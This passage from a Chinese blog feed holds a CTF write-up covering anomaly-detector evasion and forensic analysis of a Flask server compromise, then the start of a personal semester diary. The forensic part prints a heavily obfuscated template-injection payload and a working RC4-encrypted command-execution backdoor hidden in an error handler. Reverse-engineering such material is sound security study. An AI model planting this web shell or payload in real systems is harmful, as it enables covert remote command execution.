&lt;p&gt;我决定跟着老师，继续做 Embodied Intelligent，其他的优化目标，全部随缘。&lt;/p&gt;</content:encoded><h:img src="/_astro/anon.CvsHBzjO.png"/><enclosure url="/_astro/anon.CvsHBzjO.png"/></item><item><title>长城杯 2025 初赛题解</title><link>https://blog.candlest.cc/blog/ctf/ccb-2026</link><guid isPermaLink="true">https://blog.candlest.cc/blog/ctf/ccb-2026</guid><description>居然进半决赛了，但是只有三等奖。</description><pubDate>Mon, 29 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;我们的队伍：中山大学 Inflnity 战队&lt;/p&gt;
&lt;h1&gt;The Silent Heist&lt;/h1&gt;
&lt;p&gt;题面约束条件：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;所有记录需要通过严格的 IsolationForest 异常点检测&lt;/li&gt;
&lt;li&gt;交易总金额 $\sum \text{feat}_0 \ge 2000000$&lt;/li&gt;
&lt;li&gt;新的记录的协方差等统计特征需要和原分布相符合&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;提出解决方案：&lt;/p&gt;
&lt;h2&gt;制作数据&lt;/h2&gt;
&lt;p&gt;首先对原始数据进行标准化，$z = \frac{x - \mu}{\sigma}$ 用映射到 $[-1,1]$ 区间的数据去 fit 一个 IsolationForest。&lt;/p&gt;
&lt;p&gt;再计算标准化后数据的均值和协方差，我们假定数据是多维正态分布的，按照这个假设去生成足够多的数据。&lt;/p&gt;
&lt;p&gt;再使用非常严格（异常阈值设的很高，比如 0.4）的 IsolationForest 去检测我们造出来的数据，筛掉它们。&lt;/p&gt;
&lt;p&gt;最后再把标准化后的数据重新映射到原始尺度上。自此，我们有了足够多的能够通过题目检测的数据。&lt;/p&gt;
&lt;h2&gt;发送数据&lt;/h2&gt;
&lt;p&gt;首先服务器那边有最大发送速度限制。&lt;/p&gt;
&lt;p&gt;然后本地，pwntool 发送行数如果超过 14000 会强行关闭连接。（其实8000条数据足以）&lt;/p&gt;
&lt;h2&gt;题解脚本&lt;/h2&gt;
&lt;h3&gt;生成数据&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# 步骤1：加载和预处理数据
import pandas as pd
import numpy as np
from sklearn.preprocessing import StandardScaler
from sklearn.ensemble import IsolationForest
import matplotlib.pyplot as plt
import scipy.stats as stats
from scipy.stats import multivariate_normal

df = pd.read_csv(&apos;public_ledger.csv&apos;)

# 特征选择
features = df[[&apos;f0&apos;, &apos;f1&apos;, &apos;f2&apos;, &apos;f3&apos;, &apos;f4&apos;, &apos;f5&apos;, &apos;f6&apos;, &apos;f7&apos;, &apos;f8&apos;, &apos;f9&apos;, &apos;f10&apos;, &apos;f11&apos;, &apos;f12&apos;, &apos;f13&apos;, &apos;f14&apos;, &apos;f15&apos;, &apos;f16&apos;, &apos;f17&apos;, &apos;f18&apos;, &apos;f19&apos;]]

# 标准化特征
scaler = StandardScaler()
features_scaled = scaler.fit_transform(features)

# 步骤2：训练Isolation Forest
outlier_detector = IsolationForest(n_estimators=100, contamination=0.3)
outlier_detector.fit(features_scaled)

# 生成新数据
new_samples = 120000
mean_vector = np.mean(features_scaled, axis=0)
cov_matrix = np.cov(features_scaled, rowvar=False)

random_state = 42
new_data = multivariate_normal.rvs(
    mean=mean_vector,
    cov=cov_matrix,
    size=new_samples,
    random_state=random_state
)

outlier_predictions = outlier_detector.predict(new_data)
new_df = pd.DataFrame(new_data, columns=features.columns)
new_df[&apos;is_anomaly&apos;] = outlier_predictions
new_df = new_df[new_df[&apos;is_anomaly&apos;] != -1]

# 反标准化
new_data_original = scaler.inverse_transform(new_df.values[:, :-1])

# 处理异常标记列
new_df[&apos;is_anomaly&apos;] = outlier_detector.predict(new_data_original)
new_df[&apos;is_anomaly&apos;] = new_df[&apos;is_anomaly&apos;].values.reshape(-1, 1)

# print(new_df)
# print(new_data_original)

# # 创建新的 DataFrame
# new_df = pd.DataFrame(np.concatenate([new_data_original, new_df[&apos;is_anomaly&apos;]], axis=1),
#                       columns=features.columns + [&apos;is_anomaly&apos;])

# # 保存生成的数据
# new_df.to_csv(&apos;synthesized_data.csv&apos;, index=False)

print(new_df)
print(new_data_original)

df = pd.DataFrame(new_data_original, columns=[&apos;feat_0&apos;, &apos;feat_1&apos;, &apos;feat_2&apos;, &apos;feat_3&apos;, &apos;feat_4&apos;, &apos;feat_5&apos;, &apos;feat_6&apos;, &apos;feat_7&apos;, &apos;feat_8&apos;, &apos;feat_9&apos;, &apos;feat_10&apos;, &apos;feat_11&apos;, &apos;feat_12&apos;, &apos;feat_13&apos;, &apos;feat_14&apos;, &apos;feat_15&apos;, &apos;feat_16&apos;, &apos;feat_17&apos;, &apos;feat_18&apos;, &apos;feat_19&apos;])

df.to_csv(&apos;final.csv&apos;, index=False)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;上传数据&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from pwn import *
import time
context.log_level=&quot;debug&quot;

r=remote(&quot;112.126.83.22&quot;,26676)
data=r.recvuntil(&apos;&apos;)
print(data)

with open(&apos;final.csv&apos;, &apos;r&apos;, encoding=&apos;utf-8&apos;) as f:
    a = 0
    for line in f:
        a = a+1
        if a % 100 == 0:
            print(&apos;暂停&apos;)
            time.sleep(0.1)
            print(&apos;继续&apos;)
        if a == 14000:
            print(&apos;stop&apos;)
            break
        try:
            r.send(line) # 发送带换行符的原始行
        except:
            print(&quot;when a =&quot;, a)
            break

r.send(&apos;EOF&apos;)
r.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://blog-asserts-1258307940.cos.ap-guangzhou.myqcloud.com/blogs/silent_heist.png&quot; alt=&quot;silent_heist&quot;&gt;&lt;/p&gt;
&lt;h1&gt;SnakeBackdoor-3&lt;/h1&gt;
&lt;p&gt;使用 &lt;code&gt;http.request.method == &quot;POST&quot;&lt;/code&gt; 筛选，发现&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;29180	259.670311	192.168.1.111	192.168.1.200	HTTP	5369	POST /admin/preview HTTP/1.1  (application/x-www-form-urlencoded)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;模板注入&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;{{url_for.__globals__[&apos;__builtins__&apos;][&apos;exec&apos;](&quot;import base64; exec(base64.b64decode(&apos;XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM3hQKy8vdlB6ZnR2OGdyaTYzNWEwVDFyUXZNbEtHaTNpaUJ3dm02VEZFdmFoZlFFMlBFajdGT2NjVElQSThUR3FaTUMrbDlBb1lZR2VHVUFNY2Fyd1NpVHZCQ3YzN3lzK04xODVOb2NmbWpFL2ZPSGVpNE9uZTBDTDVUWndKb3BFbEp4THI5VkZYdlJsb2E1UXZyamlUUUtlRytTR2J5Wm0rNXpUay9WM25aMEc2TmVhcDdIdDZudSthY3hxc3Ivc2djNlJlRUZ4ZkVlMnAzMFlibXl5aXMzdWFWMXArQWowaUZ2cnRTc01Va2hKVzlWOVMvdE8rMC82OGdmeUtNL3lFOWhmNlM5ZUNEZFFwU3lMbktrRGlRazk3VFV1S0RQc09SM3BRbGRCL1VydmJ0YzRXQTFELzljdFpBV2NKK2pISkwxaytOcEN5dktHVmh4SDhETEw3bHZ1K3c5SW5VLzl6dDFzWC9Uc1VSVjdWMHhFWFpOU2xsWk1acjFrY0xKaFplQjhXNTl5bXhxZ3FYSkpZV0ppMm45NmhLdFNhMmRhYi9GMHhCdVJpWmJUWEZJRm1ENmtuR3ovb1B4ZVBUenVqUHE1SVd0OE5abXZ5TTVYRGcvTDhKVS9tQzRQU3ZYQStncWV1RHhMQ2x6Uk5ESEpVbXZ0a2FMYkp2YlpjU2c3VGdtN1VTZUpXa0NRb2pTaStJTklFajVjTjErRkZncEtSWG40Z1I5eXAzL1Y3OVduU2VFRklPNkM0aGNKYzRtd3BrKzA5dDF5dWU0K21BbGJobHhuWE0xUGZrK3NHQm1hVUZFMWtFak9wbmZHbnFzVithdU9xakpnY0RzaXZJZCt3SFBIYXp0NU1WczRySFJoWUJPQjZ5WGp1R1liRkhpM1hLV2hiN0FmTVZ2aHg3RjlhUGpObUlpR3FCVS9oUkZVdU1xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSU1F5cE9oWEsvTDRlRkZ0RXppdWZaUFN5cllQSldKbEFRc0RPK2RsaTQ2Y24xdTVBNUh5cWZuNHZ3N3pTcWUrVlVRL1JpL0tudjBwUW9XSDFkOWRHSndEZnFtZ3ZuS2krZ05SdWdjZlVqRzczVjZzL3RpaGx0OEIyM0t2bUp6cWlMUHptdWhyMFJGVUpLWmpHYTczaUxYVDRPdmxoTFJhU2JUVDR0cS9TQ2t0R1J5akxWbVNqMmtyMEdTc3FUamxMMmw2Yy9jWEtXalJNdDFrTUNtQ0NUVithSmU0bnB2b0I5OU9NbktuWlI0WXM1MjZtVEZUb1N3YTVqbXhCbWtSWUNtQTgyR0ZLN2FrNmJJUlRmRE1zV0dzWnZBRVh2M1BmdjVOUnpjSUZOTzN0YlFrZUIvTElWT1c1TGZBa21SNjgvNnpyTDBEWm9QanpGWkk1VkxmcTBydjlDd1VlSmtSM1BIY3VqKytkL2xPdms4L2gzSHpTZ1lUR0N3bDF1ano4aDRvVWlQeUdUNzROamJZN2ZKOHZVSHFOeitaVmZPdFZ3L3ozUk11cVNVekVBS3JqY1UyRE5RZWhCMG9ZN3hJbE9UOXU5QlQ0Uk9vREZvKzVaRjZ6Vm9IQTRlSWNrWFVPUDN5cFF2NXBFWUcrMHBXNE15SG1BUWZzT2FXeU1kZk1vcWJ3L005b0ltZEdLZEt5MVdxM2FxK3QreHV5VmROQVFNaG9XMkE3elF6b2I4WEdBM0c4VnVvS0hHT2NjMjVIQ2IvRlllU3hkd3lJZWRBeGtsTExZTUJIb2pUU3BEMWRFeG96ZGk4OUdpa2h6MzMwNW5kVG1FQ3YwWm9VT0hhY25xdFVVaEpseTdWZ3ZYK0psYXdBWTlvck5QVW1aTTdRS2JkT2tUZi9vOGFRbFM1RmUveFFrT01KR200TlhxTGVoaVJJYjkyNXNUZlZ4d29OZlA1djFNR2xhcllNaWZIbDJyRXA1QzcxaXBGanBBR2FFcDluUmowSmdFYTRsU1R1WWVWWHdxYlpRVDNPZlF2Z3QvYkhKbEFndXFTV3lzR2hxaElUSllNNlQxMG03MUppd2ZRSDVpTFhINVhiRms1M1FHY0cyY0FuRnJXeTcweEV2YWJtZjB1MGlrUXdwVTJzY1A4TG9FYS9DbEpuUFN1V3dpY01rVkxya1pHcW5CdmJrNkpUZzdIblQwdkdVY1Y2a2ZmSUw2Q0szYkUxRnkwUjZzbCtVUG9ZdmprZ1NJM1ViZkQ2N2JSeEl4ZWdCcFlUenlDRHpQeXRTRSthNzdzZHhzZ2hMcFVDNWh4ejRaZVhkeUlyYm1oQXFRdzVlRW5CdUFTRTVxVE1Ka1RwLy9oa3krZFQycGNpT0JZbi9BQ1NMeHByTFowQXkxK3pobCtYeVY5V0ZMNE5nQm9IMzRidmt4SDM2bmN0c3pvcFdHUHlkMTRSaVM0ZDBFcU5vY3F2dFd1M1l4a05nUCs4Zk0vZC9CMGlreEt4aC9HamttUVhhU1gvQis0MFU0YmZTYnNFSnBWT3NUSFR5NnUwTnI2N1N3N0J2Und1VnZmVDAvOGo3M2dZSEJPMmZHU0lKNDdBcllWbTIrTHpSVDBpSDVqN3lWUm1wdGNuQW44S2t4SjYzV0JHYjd1M2JkK0QrM3lsbm0xaDRBUjdNR042cjZMeHBqTmxBWDExd2EvWEIxek44Y1dVTm5DM1ZjemZ3VUV3UGZpNWR5bzluRUM1V085VW03OFdLUnJtM2M0OEl2VFVoZ2ROZVFFRG9zSWZoTVNtaWtFbHVRWDhMY0NSY0s5ZVVUODVidnI1SjVyekViK0R1aUdZeURGRzdQWmVmdkliM3czM3UycTh6bHhsdFdDU3RjNU80cThpV3JWSTd0YVpIeG93VHc1ekpnOVRkaEJaK2ZRclF0YzB5ZHJCbHZBbG5ZMTB2RUNuRlVCQSt5MWxXc1ZuOGNLeFVqVGRhdGk0QUYzaU0vS3VFdFE2Wm44Ykk0TFl3TWxHbkNBMVJHODhKOWw3RzRkSnpzV3I5eE9pRDhpTUkyTjFlWmQvUVV5NDNZc0lMV3g4MHlpQ3h6K0c0YlhmMnFOUkZ2Tk9hd1BTbnJwdjZRMG9GRVpvamx1UHg3Y09VMjdiQWJncHdUS28wVlV5SDZHNCt5c3ZpUXpVN1NSZDUxTEdHM1U2Y1QwWURpZFFtejJld3Ria2tLY0dWY1N5WU9lQ2xWNkNSejZiZEYvR20zVDIrUTkxNC9sa1piS3gxOVduWDc4cit4dzZicGp6V0xyMEUxZ2puS0NWeFcwWFNud2UraUc5ZGtHOG5DRmZqVWxoZFRhUzFnSjdMRnNtVWpuOHUvdlJRYlJMdy95NjZJcnIveW5LT0N6Uk9jZ3JuREZ4SDN6M0pUUVFwVGlEcGV5elJzRjRTbkdCTXY1SGJyK2NLNllUYTRNSWJmemo1VGkzRk1nSk5xZ0s1WGs5aHNpbEdzVTZ0VWJucDZTS2lKaFV2SjhicXluVU1Fem5kbCtTK09WUkNhSDJpSmw4VTNXanlCNjhScTRIQVRrL2NLN0xrSkhITWpDM1c3ZFRtT0JwZm9XTVZFTGFMK1JrcVdZdjBDcFc1cUVOTGxuT1BCckdhR05lSVphaHpibnJ1RVBJSVhHa0d6MWZFNWQ0Mk1hS1pzQ1VZdDF4WGlhaTkrY2JLR2ovZDBsSUNxN3VjN2JSaEVCeDQ2RHlCWFR6MWdmSm5UMnVyNng0QXZiNXdZMnBjWXJjRDJPUjZBaWtNdm0yYzBiaGFiSkI2bzBEaE9OSjRsQ3htS2RHQnp1d3J0czF1MEQyeXVvMzd5TExmc0dEdXllcE53OGx5VE5jMm55aENWQmZXMjNEbkJRbVdjMVFMQ29ScHBWaGpLWHdPcE9ES084UjhZSG5RTStyTGs2RU9hYkNkR0s1N2lSek1jVDN3YzQzNmtWbUhYRGNJMFpzWUdZNWFJQzVEYmRXalV0Mlp1VTBMbXVMd3pDVFM5OXpoT29POERLTnFiSzRiSU5MeUFJMlg5Mjh4aWIraG1JT3FwM29TZ0MyUGRGYzh5cXRoTjlTNTVvbXRleDJ4a0VlOENZNDhDNno0SnRxVnRxaFBRV1E4a3RlNnhsZXBpVllDcUliRTJWZzRmTi8vTC9mZi91Ly85cDRMejd1cTQ2eVdlbmtKL3g5MGovNW1FSW9yczVNY1N1Rmk5ZHlneXlSNXdKZnVxR2hPZnNWVndKZScpKQ==&apos;))&quot;, {&apos;request&apos;:url_for.__globals__[&apos;request&apos;],&apos;app&apos;:get_flashed_messages.__globals__[&apos;current_app&apos;]})}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;试了几次后发现是俄罗斯套娃。&lt;/p&gt;
&lt;p&gt;正则表达式匹配，然后循环。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import re
import base64
import zlib

start = &apos;&apos;&apos;
_ = lambda __ : __import__(&apos;zlib&apos;).decompress(__import__(&apos;base64&apos;).b64decode(__[::-1]))
exec(
    (_)(b&apos;=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&apos;)
)
&apos;&apos;&apos;

pat = r&apos;\((.*?)\)&apos;

while(True):
    matches = re.findall(pat, start)
    # print(matches[-1:][0][2:-1][::-1])
    start = matches[-1:][0][2:-1][::-1]
    start = zlib.decompress(base64.b64decode(start)).decode(&apos;utf-8&apos;)
    print(start)
    input()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现套娃了 31 次：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog-asserts-1258307940.cos.ap-guangzhou.myqcloud.com/blogs/SnakeBackdoor-3.png&quot; alt=&quot;SnakeBackdoor-3&quot;&gt;&lt;/p&gt;
&lt;p&gt;这里的 RC4_SECRET 就是 flag。&lt;/p&gt;
&lt;p&gt;上一题的&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b&apos;v1p3r_5tr1k3_k3y&apos;
def rc4_crypt(data: bytes, key: bytes) -&gt; bytes:
        S = list(range(256))
        j = 0
        for i in range(256):
                j = (j + S[i] + key[i % len(key)]) % 256
                S[i], S[j] = S[j], S[i]
        i = j = 0
        res = bytearray()
        for char in data:
                i = (i + 1) % 256
                j = (j + S[i]) % 256
                S[i], S[j] = S[j], S[i]
                res.append(char ^ S[(S[i] + S[j]) % 256])
        return bytes(res)
def backdoor_handler():
        if request.headers.get(&apos;X-Token-Auth&apos;) != &apos;3011aa21232beb7504432bfa90d32779&apos;:
                return &quot;Error&quot;
        enc_hex_cmd = request.form.get(&apos;data&apos;)
        if not enc_hex_cmd:
                return &quot;&quot;
        try:
                enc_cmd = binascii.unhexlify(enc_hex_cmd)
                cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode(&apos;utf-8&apos;, errors=&apos;ignore&apos;)
                output_bytes = getattr(os, &apos;popen&apos;)(cmd).read().encode(&apos;utf-8&apos;, errors=&apos;ignore&apos;)
                enc_output = rc4_crypt(output_bytes, RC4_SECRET)
                return binascii.hexlify(enc_output).decode()
        except:
                return &quot;Error&quot;
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;给了我们思路，最后七次的 HTTP 的 data 是被加密的 cmd&lt;/p&gt;
&lt;p&gt;解密脚本如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;RC4_SECRET = b&apos;v1p3r_5tr1k3_k3y&apos;
def rc4_crypt(data: bytes, key: bytes) -&gt; bytes:
        S = list(range(256))
        j = 0
        for i in range(256):
                j = (j + S[i] + key[i % len(key)]) % 256
                S[i], S[j] = S[j], S[i]
        i = j = 0
        res = bytearray()
        for char in data:
                i = (i + 1) % 256
                j = (j + S[i]) % 256
                S[i], S[j] = S[j], S[i]
                res.append(char ^ S[(S[i] + S[j]) % 256])
        return bytes(res)
import binascii
enc_hex_cmd= [&apos;a6bc&apos;, &apos;a3ab330fb285&apos;, &apos;acad614ef3d82c8445d275713899f04d0d3819fc3726cf57634b189e0e95cc1f93e57656105246251f453a8396a43a6534&apos;, &apos;bab6694ba3c938e64b8d257b7cccee460f6347f4363ed21c300c099f129b99028eb57408024e1c32061a&apos;,

 &apos;a2ae330da7846599188b26257a88f10b50790cb47e6a97177e1053c351&apos;, &apos;acb07e4db7c93ece4bcc37246687ae0649614caa3430ce4b&apos;, &apos;e0ac7e52fc996cc2038c2d7a3899ed&apos;]
for i in enc_hex_cmd:
        enc_cmd = binascii.unhexlify(i)
        cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode(&apos;utf-8&apos;, errors=&apos;ignore&apos;)
        print(cmd)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://blog-asserts-1258307940.cos.ap-guangzhou.myqcloud.com/blogs/SnakeBackdoor-4.png&quot; alt=&quot;SnakeBackdoor-4&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以看到，RCE的过程是下载 shell.zip 然后改名为 python3.13 扔到 /tmp/python3.13 里面执行。&lt;/p&gt;
&lt;p&gt;所以 flag 是 &lt;code&gt;flag{python3.13}&lt;/code&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/ccb.C23Rv0bN.webp"/><enclosure url="/_astro/ccb.C23Rv0bN.webp"/></item><item><title>大一下学期总结</title><link>https://blog.candlest.cc/blog/timeline/grade15</link><guid isPermaLink="true">https://blog.candlest.cc/blog/timeline/grade15</guid><description>整理磁盘碎片，再出发。</description><pubDate>Fri, 15 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;这篇文章有些文字现在看来也许有不认同的地方，但是作为「曾经思考过」的印证予以保留。&lt;/p&gt;
&lt;h1&gt;二月：憧憬与期待&lt;/h1&gt;
&lt;p&gt;提前一周回到了学校，刷刷 LeetCode Hot 100 并看看高数，每天晚饭前会去西大体育馆跑 3KM。&lt;/p&gt;
&lt;p&gt;此时的我大概内心有一团火：尽管自己现在是如此的不堪，也有机会凭借自己的努力去实现些什么……&lt;/p&gt;
&lt;p&gt;我想去软工院看看，一方面是解解乏，一方面是树立信心。&lt;/p&gt;
&lt;p&gt;于是我在开学前去了一次珠海校区。&lt;/p&gt;
&lt;h2&gt;珠海一日游&lt;/h2&gt;
&lt;p&gt;实在找不到前往珠海校区的好方式，毕竟不通地铁。&lt;/p&gt;
&lt;p&gt;于是约顺风车前往，从季华大桥出发，花费大约3小时的时间，我打开车门，清冷的空气扑面而来。爬上图书馆间的楼梯，可以俯瞰珠海校区的大部分。&lt;/p&gt;
&lt;h3&gt;软工院&lt;/h3&gt;
&lt;p&gt;穿过前亚洲最长教学楼，拐两个弯，就是软工院的院楼了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog-asserts-1258307940.cos.ap-guangzhou.myqcloud.com/IMG_20250213_145300.jpg&quot; alt=&quot;软工院楼&quot;&gt;&lt;/p&gt;
&lt;p&gt;WASM 与 Linux，这大概是我想象中的计算机专业该干的事情之一吧。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog-asserts-1258307940.cos.ap-guangzhou.myqcloud.com/IMG_20250213_150349.jpg&quot; alt=&quot;BPF&quot;&gt;&lt;/p&gt;
&lt;p&gt;Kingsoft。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog-asserts-1258307940.cos.ap-guangzhou.myqcloud.com/IMG_20250213_133031_1.jpg&quot; alt=&quot;金山&quot;&gt;&lt;/p&gt;
&lt;h3&gt;再见唐家湾&lt;/h3&gt;
&lt;p&gt;后面又去看了两眼俊俊子中心。&lt;/p&gt;
&lt;p&gt;我也许还会回来。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog-asserts-1258307940.cos.ap-guangzhou.myqcloud.com/IMG_20250213_173840_1.jpg&quot; alt=&quot;唐家湾&quot;&gt;&lt;/p&gt;
&lt;h1&gt;三月：新宿舍，新朋友&lt;/h1&gt;
&lt;p&gt;终于申请了换宿舍。之前求助的兼辅一点事情都不管，感谢辅导员张老师，非常认真负责。在他的帮助下，成功换到了一个三人间。&lt;/p&gt;
&lt;p&gt;新的舍友不会半夜打 fps 游戏了，也算可以好好睡觉了。&lt;/p&gt;
&lt;p&gt;同时软工院的转专业考核标准也放在了官网上：竟然是手写程序设计。出于对这种考核方式的抵触以及对于热度的考虑，我不太想去软工院了。&lt;/p&gt;
&lt;p&gt;但是我又该去哪里呢？计算机学院太卷了，我深知我并非大神。软工院被我放弃了。AI 院似乎并非好的选择。智科只看数学成绩我讨不到好。那么……去网安院吗？&lt;/p&gt;
&lt;p&gt;让我 all in 网安的契机是在心理课上和一个&lt;strong&gt;非常非常温柔&lt;/strong&gt;的同学聊了数个晚上。我希望能与这样的同学继续同行一段距离，报名网络空间安全学院的最后一点疑虑被打消。&lt;/p&gt;
&lt;p&gt;我买了离散数学课本粗略学习，同时又啃了一点 CSAPP 和 《程序员的自我修养》，开始准备网安的面试。&lt;/p&gt;
&lt;h1&gt;四月：转专业前夜&lt;/h1&gt;
&lt;p&gt;四月的事情我已经不太记得，只记得当时非常焦虑无助。&lt;/p&gt;
&lt;p&gt;焦虑，焦虑，焦虑。&lt;/p&gt;
